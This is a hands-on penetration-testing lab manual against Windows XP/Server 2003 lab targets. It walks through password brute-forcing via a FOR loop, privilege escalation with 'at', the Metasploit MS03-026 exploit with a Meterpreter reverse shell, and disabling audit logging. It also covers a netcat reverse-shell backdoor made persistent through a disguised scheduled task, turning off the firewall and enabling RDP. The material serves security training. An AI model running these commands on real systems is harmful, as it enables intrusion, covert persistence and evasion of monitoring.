FOR Loop Attack

The simplest way to automate password guessing on Windows-based systems is to use the **FOR** command built-into Windows.

Exercise 1: FOR Loop Attack: in the following exercise, you will use the FOR command to perform a **For Loop Attack**:

1. Make sure the Security log on the target system is cleared before starting this lab:
   - On the target system, click Start/Run
   - Type eventvwr (click OK)
   - In the left-hand Window pane, right-click on the Security log entry and select Clear all Events
   - Do not save a copy before clearing the Security log

2. From your Windows attack system, delete any null session connections you may have setup to your target system (only type what's in **bold**):

   ```
   C:\Temp>net use * /d /y
   ```

3. Open a Windows command shell and change into the c:\temp folder:

```
C:\Documents and Settings\user> cd \

C:\> cd temp

C:\Temp>
```

4. Create a loop using the Windows **FOR** command based on the standard net use syntax (only type what's in **bold**, on one line):

NOTE: you cannot copy and paste the following command:

```
C:\Temp>FOR /F “tokens=1,2*” %i in (credentials.txt) do net use
\\target_IP_address\IPC$ %i /u:%j && echo %date% %time% >> outfile.txt && echo
Target_System username: %j password: %i >> outfile.txt
```

Syntax breakdown:

-**FOR /F “tokens=1,2*” %i in (credentials.txt) do net use \\target_IP_address\IPC$ %i /u:%j**: open credentials.txt, parse each line into tokens delimited by TAB (or space), and then pass the first and second tokens to the body of the FOR loop as variables %i and %j for each iteration of password and username, respectively. Loop through a net use command, inserting the %i and %j tokens in place of password and username, respectively

-**&& echo %date% %time% >> outfile.txt**: append the current date and time to the file called outfile.txt

-**echo Target_System username: %j password: %i >> outfile.txt**: append the target system's name and the successfully guessed username and password tokens to the file called outfile.txt

5. Which username/password combination was successfully used to create a connection to the IPC$ share?

6. Once you successfully create a null session w/one of the username/password combinations in your dictionary file, type the following:

   C:\Temp> **net use**

   NOTE: if you want to put this command in a .BAT file, be sure to include a double % sign before the variable names (e.g., %%i, %%j)

Poor Man's Privilege Escalation

Your mileage may vary using the following technique (depending on whether Group Policies, etc. are being pushed down to the clients via a directory service of some sort).

Exercise 1: poor man's privilege escalation: in the following exercise, you will use the *at* command to schedule cmd.exe to launch at a specific time. Since cmd.exe will execute on behalf of the program that launched it (*at* in this case, which runs as the SYSTEM account), you can use the newly launched cmd.exe running as SYSTEM to escalate your privileges to SYSTEM:

1. From a Windows attack system (XP) command shell, type the following (only type what's in **bold**):

   C:\>**at time /INTERACTIVE cmd.exe**

   Syntax breakdown:

   at: program name

   time: the 24-hour time you want cmd.exe to launch

   /INTERACTIVE: allows the job to interact with the desktop of the user who is logged on at the time the job runs

   cmd.exe: the job to run interactively at the specified time

2. To see if the scheduled task completed successfully, type the following (only type what's in **bold**):

   C:\>**at**

3. Once you've verified that the scheduled task has completed successfully, close your Windows command shell and wait for the new command shell to open on your desktop

4. Once the new command shell opens, open the Windows Task Manager (Ctrl+Alt+Insert if you're running the Windows attack system in a Virtual Machine)

5. Click the Processes tab across the top of the Windows Task Manager

6. Locate the *explorer.exe* process (which is the Windows GUI service) and note the user context this application is running on behalf of (it should be Administrator). Also, notice the user context the scheduled *cmd.exe* is running in (it should be SYSTEM)

7. Select the explorer.exe process by clicking on it one time and click the End Process button (say yes to close this process). Close the Windows Task Manager window
8. Notice your desktop; it should be blank

9. In the scheduled *cmd.exe* window, type the following:

```
C:\>explorer.exe
```

10. Notice your desktop background and default icons being rebuilt by Windows XP

11. Once the Windows desktop is done being rebuilt, open the Windows Task Manager again and identify the user context that *explorer.exe* is now running in – it should be SYSTEM. Your user account is now running everything as SYSTEM

12. Logoff of your Windows attack system

MSRPC/DCOM Exploit Using Metasploit (CLI)

The Metasploit Framework (MSF) is a development platform for creating security tools and exploits. The framework is used by information security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.

What does it do?

The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload, amongst other things.

The BackTrack distribution comes with both the Metasploit 2.x and 3.x frameworks. For purposes of this lab, we'll be using the latter from a command-line interface (CLI).

Exercise 1: Using Metasploit: in the following exercise, you will use Metasploit from the BackTrack distribution to carry out the MSRPC/DCOM (MS03-026) buffer-overflow attack on a vulnerable Windows Server 2003 system:

1. From a BackTrack shell, navigate to the Metasploit Framework 3 folder (only type what's in **bold**):

   user1@bt:~# **cd /pentest/exploits/framework3**

   user1@bt:~# **pwd**

   /pentest/exploits/framework3

2. Type the following to update Metasploit with the latest exploits, payloads, scripts, etc. (only type what's in **bold**):

   user1@bt:~#**svn update**

3. Open the Metasploit Framework console (only type what's in **bold**):

   user1@bt:~# **./msfconsole**

4. Notice your prompt changed

5. Now type (only type what's in **bold**):

   msf >**show exploits**

   This shows a list of exploits in version 3.x of Metasploit. New exploits are being added to Metasploit all the time and can be updated from the console (or you can add your own).

   One way to think about *exploits* is that it's something bad that happens on the target system.

   NOTE: you can search for exploits from a BackTrack shell by typing the following (only type what's in **bold**, on one line):

   user1@bt:/pentest/exploits/framework3#**echo show exploits | ./msfconsole 2>&1 | grep dcerpc** (replacing *dcerpc* with whatever exploit

   name you're interested in finding)

   You can also search the Metasploit web site: **www.metasploit.com/framework/search?text=xxx** (replace xxx= with the type of exploit you're looking for. e.g., ssh)

6. You are now going to setup Metasploit to use the MSRPC/DCOM exploit - made famous by the Blaster worm circa August 2003 (only type what's in **bold**):

   msf > **use windows/dcerpc/ms03_026_dcom**

   This tells Metasploit to use the MSRPC/DCOM (MS03-026) exploit

   NOTE: you could have substituted the MSRPC/DCOM exploit with any of the Metasploit exploits your Nessus scan found

7. Notice your prompt has changed again

8. Next, you need to make sure the exploit your chose in step #6 will run on the target system. To do so, type (only type what's in **bold**):

   msf >**show targets**

   Your output will look as follows:

   Exploit targets:

```
ID          Name
---         ---------
0           Windows NT SP3-6a/2000/XP/2003 Universal
```

The output under the *Name* column lists the OSes the exploit you chose in step #6 will run on. Since your target system is running Windows Server 2003, this exploit will run on your target system

9. Next, you must choose a *payload*. Think of the payload as what happens once the exploit arrives at the target system. The payload is something good that happens for you (only type what's in **bold**):

   msf exploit (ms03_026_dcom) > **show payloads**

   This shows the payloads available for the exploit you chose in step #6. The payload you're going to use in this exercise is the Meterpreter shell.

   The Metasploit Meterpreter is a command interpreter payload that is injected into the memory of the exploited process (RPC/DCOM in this exercise) and provides extensive features to the attacker/pen tester.

   This payload never actually hits the disk on the victim host; everything is injected into process memory and no additional process is created. It also provides a consistent feature set no matter which platform is being exploited.

   Other highlights of the Meterpreter payload include:

   - Keylogging
   - Listing, stopping, and starting processes
   - Shutting down or rebooting the machine
   - Enumerating, creating, deleting, and securing registry keys
   - Dumping password hashes

10. Change your payload to the following (only type what's in **bold**, on one line):

    msf exploit (ms03_026_dcom) > **set PAYLOAD windows/meterpreter/reverse_tcp**

11. If you set up the payload correctly, you should see the following output:

    ```
    PAYLOAD => windows/meterpreter/reverse_tcp
    ```

```
msf exploit (ms03_026_dcom)  >
```

12. Payloads usually have options that must be set. To see a list of the available options for the Meterpreter payload, type the following (only type what's in **bold**):

    msf exploit (ms03_026_dcom) > **show options**

    Your output will look as follows:

```
Module options:

Name         Current Setting        Required       Description
---------    ---------------------  --------------  ----------------
RHOST                                    yes             The target address
RPORT                135                 yes             The target port

Payload options windows/meterpreter/reverse_tcp):

Name         Current Setting        Required       Description
---------    ---------------------  --------------  ----------------
EXITFUNC     thread                 yes            Exit technique
LHOST                                    yes             The local address
LPORT                4444                yes             The local port

Exploit target:

Id      Name
---     ---------
0       Windows NT SP3-6a/2000/XP/2003 Universal
```

You can see from the output above, some *Names* (AKA *options*) are already filled in for you (e.g., RPORT, or the target/destination port == 135). Others are required and need to be set by you (e.g., RHOST, LHOST, etc). In addition, the *Exploit target* value(s) shows the OS (or application if the payload is application specific) the target system must be running for the exploit and payload to work.

13. For this payload, you must set an *RHOST* value (short for remote host IP address), which will be the IP address of your target system (only type what's in **bold**):

    msf exploit (ms03_026_dcom) > **set RHOST target_IP_address** (where target_IP_address == your victim's IP address)

14. If you set the RHOST payload option correctly, you should see the following output:

    RHOST => 192.168.254.x

    msf exploit (ms03_026_dcom) >

15. To verify that the RHOST value is now set to your target system's IP address type (only type what's in **bold**):

    msf exploit (ms03_026_dcom) > **show options**

18. The *LHOST* option also needs set (short for local host IP address), which is your BackTrack system's IP (only type what's in **bold**):

    msf exploit (ms03_026_dcom) > **set LHOST your_BackTrack_IP_address** (where your_BackTrack_IP_address == your BackTrack system's IP address)

19. If you set the LHOST option correctly, you should see the following output:

    LHOST => 192.168.254.x

    msf exploit (ms03_026_dcom) >

20. You are now ready to launch the exploit (only type what's in **bold**):

```
msf exploit (ms03_026_dcom)  > exploit
```

You know your exploit succeeded if you see the following prompt:

```
meterpreter  >
```

Congratulations! You have SYSTEM-equivalent privileges on the target system, which you will use to carry out a handful of post-exploitation-based techniques

Exercise 2: Using the Meterpreter payload: Part II: in the following exercise, you will familiarize yourself with the Meterpreter payload and use it to set up a reverse shell from the target system back to your attack system:

1. Meterpreter is a command-interpreter and thus, uses its own commands. The help command will list all the built-in Meterpreter commands (only type what's in **bold**):

   ```
   meterpreter  > help
   ```

2. Verify that you are running the Meterpreter payload as SYSTEM (only type what's in **bold**):

   ```
   meterpreter  > getuid
   ```

   Your output should be as follows:

   Server username: NT AUTHORITY\SYSTEM

3. To see a list of the processes running on the target system type (only type what's in **bold**):

   ```
   meterpreter  >ps
   ```

   Do you see the Meterpreter process listed? Why not?

4. To see your current directory type (only type what's in **bold**):

   ```
   meterpreter  > pwd
   ```

   You can also see your current directory by typing (only type what's in **bold**):

meterpreter > **getwd**

5. You verify the target system’s hostname type (only type what’s in **bold**):

   meterpreter > **sysinfo**

6. To open a Windows command shell on the target system type (only type what’s in **bold**):

   meterpreter > **execute -f cmd -c**

   Syntax Breakdown:

   execute: Meterpreter command to execute a program/command

   -f cmd: the executable command to run (cmd.exe in this case)

   -c: channelized I/O (required for interaction)

   Your output will look similar to this:

   Process 2996 created.

   Channel 1 created.

   meterpreter >

7. To interact with the Windows command shell running on the target system type (only type what’s in **bold**):

   meterpreter > **interact x** (where x is the Channel number in the output in step #6; e.g., interact 1)

8. You now have a Windows command shell from the target system, running as SYSTEM. Type (only type what’s in **bold**):

   C:\WINDOWS\system32>**whoami**

Your output will look like this:

```
whoami

nt authority\system
```

9. Leave your Meterpreter session open. You’ll be using it in subsequent labs

Determining the Auditing Policy

Auditpol is a Windows command-line tool that enables you to modify the audit policy of the local computer, or of any remote system. It's part of the Windows 2000 Server Resource Kit.

Exercise 1: determining the audit status of the target system: in the following exercise, you will use *auditpol* to determine the current auditing policy on the target system:

1. From a Windows attack system command shell, set up an Administrative connection (only type what's in **bold**):

C:\>**net use \\target_IP_address\ipc$ password /u:Administrator**

2. Then type the following (only type what's in **bold**):

C:\>**auditpol \\target_IP_address**

Syntax breakdown:
auditpol: program name
\\target_IP_address: the IP address of the target system

3. Notice the "*Audit Enabled*" message at the beginning of the output. Enabling is turned on on the target system

4. Switch to your target system

5. Click Start/All Programs/Administrative Tools/Event Viewer. Clear the Security and Application logs

6. Leave the Event Viewer open

7. Click Start/All Programs/Administrative Tools/Domain Controller Security Policy

8. Expand Local Policies/Audit Policy

9. Write down the default Windows Server 2003 auditing settings:

10. Close the Default Domain Controller Security Settings window

Exercise 2: disabling auditing on the target system: in the following exercise, you will use *auditpol* to turn off auditing on the target system:

1. From a Windows attack system command shell, type the following (only type what's in **bold**):

C:\>**auditpol \\target_IP_address /disable**

Syntax breakdown:
auditpol: program name
\\target_IP_address: the IP address of the target system
/disable: program option to disable auditing

2. Notice the "*Audit Disabled*" message at the beginning of the output. This indicates that auditing on the target system has been turned off. You now have semi-free reign to do as you please without fear of your work being detected.

3. Switch to your target system and open a command shell

3. Type the following (only type what's in **bold**):

C:\>**gpupdate**

Syntax breakdown:
gpupdate: program name that refreshes Group Policy settings

This will force the target system (which is a Domain Controller) to update its policies (reflecting the change you triggered in Exercise 2, step #1). Otherwise, you'd have to wait for the default (or pre-configured) time the next Domain Controller Active Directory database replication takes place

4. Go to the Application log in Event Viewer

5. Hit F5 to refresh this log file

6. Look at the top of the Application log (under the Source column) for the entry *SceCli*. Double-click on this entry to open it. This entry (Event ID 1704) relates to the disabling of the Auditing policies on the target system. Click the OK button to close this entry

8. Open the Default Domain Controller Security Settings again (Start/All Programs/Administrative Tools/Domain Controller Security Policy)
9. Expand Local Policies/Audit Policy

10. Are the Auditing policies really disabled? How can you tell?

Using Netcat to Set Up a Reverse Shell

Exercise 1: using Netcat for a reverse shell: in the following exercise, you will use the Meterpreter payload from the previous lab to set up a Netcat listener (AKA **reverse shell**). This will allow you to remotely control the target system after you close your Meterpreter session and thus, come back to the target system whenever you want:

1. The first step in setting up a Netcat listener is to get the Netcat executable on the target system so it can be used to interact with your attack system. There are a number of ways this can be accomplished. You'll use Trivial File Transfer Protocol (TFTP) to copy the Netcat executable from your BackTrack system to the target system

2. In the bottom left of your BackTrack desktop, click the dragon-looking icon/Services/TFTPD/Start TFTPD. This will start the TFTP daemon (or server service) on your BackTrack system. You should get a message that the TFTPD is running on port 69 and the home directory is /tmp. Click the OK button

3. You are now going to copy the Netcat executable from its default location (*/pentest/windows_binaries/tools*) to the */tmp* directory on your BackTrack system so it can be TFTPed down from the target system. To do so, open a new shell (leave the current Meterpreter shell open) and type the following (only type what's in **bold**):

   user1@pentest:~#**cp /pentest/windows-binaries/tools/nc.exe /tmp**

4. Change into the /tmp directory and list the contents of this directory (only type what's in **bold**):

   user1@pentest:~#**cd /tmp**
   user1@pentest:~#**ls -al**

   Look for the *nc.exe* file in this directory

5. Leave this shell open

6. Go to the Meterpreter shell you left open. At the Windows command shell prompt, type the following:

   C:\WINDOWS\system32>**tftp -i BackTrack_IP_address get nc.exe**

   Syntax breakdown:
   tftp: program name
   -i: specifies the binary image transfer mode (which means to move the binary file byte by byte)
   BackTrack_IP_address: IP address of your BackTrack system

get nc.exe: transfers the nc.exe file from your BackTrack system to the target system

If the file transfer was successful, you should see a message similar to this: "*Transfer successful: 59392 bytes in 1 second, 59392 bytes/s*"

7. Now you will set up both the client and server portions of the backdoor

8. In the second shell you opened in step #3 (*not* the Meterpreter shell), start the Netcat program on your BackTrack system in listening mode (server mode) by typing the following (only type what's in **bold**):

   user1@pentest:~#**nc -v -l -p 3333**

Syntax breakdown:
nc: program name
-v: verbose mode
-l: listen mode (listen for inbound connections)
-p 3333: local listening port on the BackTrack system

9. From the Meterpreter shell (where you have the Windows command shell prompt open on the target system), start the client side of the Netcat backdoor (only type what's in **bold**, on one line):

   C:\WINDOWS\system32>**nc -e cmd.exe BackTrack_IP_address 3333**

Syntax breakdown:
nc: program name
-e cmd.exe: inbound program to execute
BackTrack_IP_address 3333: your BackTrack system's IP address and listening port for incoming connections

   This will shovel a Windows command shell from the target system to your BackTrack system, appearing in the non-Meterpreter shell you opened in step #3

10. Close the Meterpreter shell window (click the X in the upper-right corner of the window)

11. Notice your BackTrack prompt has turned into a Windows command shell prompt. You now have a backdoor into the target system

12. Type (only type what's in **bold**):

C:\WINDOWS\system32>**dir nc.exe**

13. Leave your Netcat listener shell open

Surviving a System Restart

Exercise 1: setting up your Netcat listener to survive a system restart: in the following exercise, you will schedule a task on your target system so your Netcat listener launches on system start-up:

1. Use the *schtasks* command on the target system to schedule a new job (called Cleanup) that starts a Netcat client backdoor connection to your BackTrack system every time the target system starts up (only type what's in **bold**, on one line):

C:\WINDOWS\system32>**schtasks /Create /RU SYSTEM /SC ONSTART /TN Cleanup /TR "nc -e cmd.exe BackTrack_IP_address 3333"**

Syntax breakdown:
schtasks: enables an administrator to create, delete, query, change, run and end scheduled tasks on a local or remote system
/Create: creates a new scheduled task
/RU SYSTEM: specifies the SYSTEM account (user context) under which the task runs
/SC ONSTART: start the scheduled task on system startup
/TN Cleanup: specifies a task name which uniquely identifies this scheduled task. This command will schedule the task as *Atx*, where x=the next available task number. Upon re-boot of the target system however, it will change to Cleanup
/TR "nc -e cmd.exe BackTrack_IP_address 3333": run nc.exe and shovel back a Windows command shell to your BackTrack system on port 3333

If the command completes successfully, you should see the following message:

```
INFO: The schedule task "Cleanup" will be created under the user name ("NT AUTHORITY\SYSTEM").
SUCCESS: The scheduled task "Cleanup" has successfully been created.
```

2. On your BackTrack system, close your Netcat listener shell

3. Open a new shell. In the new shell, start a Netcat listener on port 3333 and leave it open (only type what's in **bold**):

   user1@pentest:~#**nc -v -l -p 3333**

4. Switch over to the target system and log in

5. Click Start/Control Panel

6. Double-click the Scheduled Tasks icon. Notice the task you just scheduled appears in the task list (named Cleanup)

7. Re-boot the target system. After it reboots, switch back to your BackTrack system

8. Did the target system shovel a Windows command shell back to your BackTrack system? If so, your Netcat listener will survive a system reboot and you can come back to the target system at your leisure

9. Leave your Netcat shell open

GUI Remote Control Using Remote Desktop Protocol (RDP)

The Remote Desktop Protocol (RDP) allows an administrator full GUI remote control of Windows servers and workstations. It listens for connections on TCP port 3389 and is installed by default on Windows Server 2003 and Windows XP, but is disabled.

Microsoft refers to the official RDP server software as Terminal Services or Remote Desktop Services. The official client software is referred to as either Remote Desktop Connection (RDC) or Terminal Services Client (TSC).

Exercise 1: enabling RDP on a Win2K3 server: in the following exercise, you will check to see if RDP is running on the target system. If it's not, you will enable it manually using your Windows attack system:

1. From your reverse shell, check to see if RDP is running on the target system (only type what's in **bold**):

C:\WINDOWS\system32>**netstat -an | find "3389"**

Syntax breakdown:
netstat: program name
-an: program options for displaying all connections and listening ports (-a) and displaying address and port numbers in numerical form (-n)
| find "3389": pipe the output to the *find* command and look for port 3389 (which is the default RDP port)

Your output should look as follows:
netstat -an | find "3389"

Which means RDP is not running on the target system (you verified this in step #3 above)

2. Your next step is to see if the built-in firewall is enabled on the target system, which could prevent you from connecting to the Terminal Server service (only type what's in **bold**):

C:\WINDOWS\system32>**netsh**
netsh
netsh>**show mode**
online

Syntax breakdown:
netsh: program name that can be used to: configure interfaces, configure routing protocols, configure filters, configure routes, configure remote access behavior for Windows-based remote access routers that are running the Routing and Remote Access Server (RRAS) Service, display the configuration of a currently running router

on any computer, and more
show mode: shows whether the built-in firewall is turned on (*online*), or is turned off (*offline*)

3. To turn off the firewall type (only type what’s in **bold**):

```
netsh>offline
netsh>show mode
offline
```

4. Quit netsh (only type what’s in **bold**):

```
netsh>quit
C:\WINDOWS\system32>
```

5. You will now query the target system for a specific Registry key to determine if the RDP service is accepting connections (only type what’s in **bold**, on one line):

```
C:\WINDOWS\system32>reg query
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" |
find "fDenyTSConnections"
```

Your output should look as follows:

```
fDenyTSConnections        REG_DWORD        0x1
```

If the returned value is *0x0*, RDP connections are allowed
If the returned value is *0x1*, RDP connections are not allowed

6. You will now change the Terminal Server Registry key to enable RDP connections (only type what’s in **bold**, on one line):

```
C:\WINDOWS\system32>reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f
```

Syntax breakdown:
reg add: program name to add new keys and values to a Windows Registry
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server": the Registry key to set
/v fDenyTSConnections: program option for the value name, under the selected key, to add
/t REG_WORD: program option for the Registry key data type
/d 0: the data to assign (zero) to the Registry value name (fDenyTSConnections)
/f: program option to force overwriting the existing Registry entry without prompting

If you make a mistake and get the following message:

ERROR: Invalid syntax.
Type "REG ADD /?" for usage.

Ignore the error message. Great care should be taken not to run *REG ADD /?*, as this will break your shell (and connection to the target system)

If you successfully completed step #11, you should see the following message:

The operation completed successfully.

7. With the target system setup to allow RDP connections, you now need to start the Terminal Services service. From a Windows command shell, this is achieved using the *sc* command. sc is a command-line program used for communicating with the Service Control Manager and services running on a Windows system

8. To start the Terminal Server service type (only type what's in **bold**:

C:\WINDOWS\system32>**sc config termservice start= auto** (watch the spacing; this is not a typo)

Syntax breakdown:
sc: program name
config: changes the configuration of a service
termservice: name of Terminal Server service
start= auto: start the service and set it to auto start every time the system is re-booted

You should see the following message:
sc config termservice start= auto
[SC] ChangeServiceConfig SUCCESS

9. To start the Terminal Server service immediately type (only type what's in **bold**):

C:\WINDOWS\system32>**sc start termservice**
sc start termservice

Syntax breakdown:
sc: program name
start termservice: start the Terminal Server service immediately

You should see the following output:
```
SERVICE_NAME: termservice
    TYPE                              : 20   WIN32_SHARE_PROCESS
    STATE                             : 2    START_PENDING
```

```
                                        (NOT_STOPPABLE, NOT_PAUSABLE,
                                        IGNORES_SHUTDOWN)
    WIN32_EXIT_CODE           : 0       (0x0)
    SERVICE_EXIT_CODE         : 0       (0x0)
    CHECKPOINT           :       0x0
    WAIT_HINT            :      0x7d0
    PID                                 :       some number here
    FLAGS                               :
```

10. You can now try logging into the target system using an RDP-compliant program (e.g., Remote Desktop, rdesktop). To do so, open a new shell in BackTrack and type (only type what's in **bold**, on one line):

user1@pentest:~#**rdesktop target_IP_address -u Administrator -p -**

Syntax breakdown:
rdesktop: program name
target_IP_address: the IP address of the target system
-u Administrator: program option to use the Administrator's account
-p -: program option to prompt for the user's password

11. You should now have full GUI control of the target system